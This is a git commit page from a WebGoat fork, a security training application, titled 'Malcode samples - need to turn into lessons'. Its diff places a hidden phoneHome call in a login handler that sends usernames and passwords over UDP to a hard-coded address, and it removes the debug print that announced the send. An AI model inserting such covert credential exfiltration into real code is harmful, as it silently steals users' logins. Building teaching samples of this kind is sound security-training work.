dubey/WebGoat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Malcode samples - need to turn into lessons

Browse Source 
git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@388 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64@gmail.com
2009-10-26 11:24:12 +00:00
parent c3fe7cece9
commit 59abed1dde
4 changed files with 426 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

7
main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java
View File

@ -146,9 +146,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
setStage(s, 1);
String username = s.getParser().getStringParameter(USERNAME, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
phoneHome(s, "User: " + user + " --> " + "Pass: " + pass);
String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, "");
if (username.equals(user) && password.equals(pass))
{
@ -170,6 +169,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
Cookie newCookie = new Cookie(USER_COOKIE, Encoding.base64Encode(user));
s.getResponse().addCookie(newCookie);
phoneHome(s, "User: " + username + " --> " + "Pass: " + password);
// <END_OMIT_SOURCE>
return (ec);
@ -587,7 +587,6 @@ public class Challenge2Screen extends SequentialLessonAdapter
DatagramPacket dp = new DatagramPacket(message.getBytes(), message.length());
DatagramSocket sock = new DatagramSocket();
sock.connect(addr, 1234);
System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp);
sock.close();
} catch (Exception e)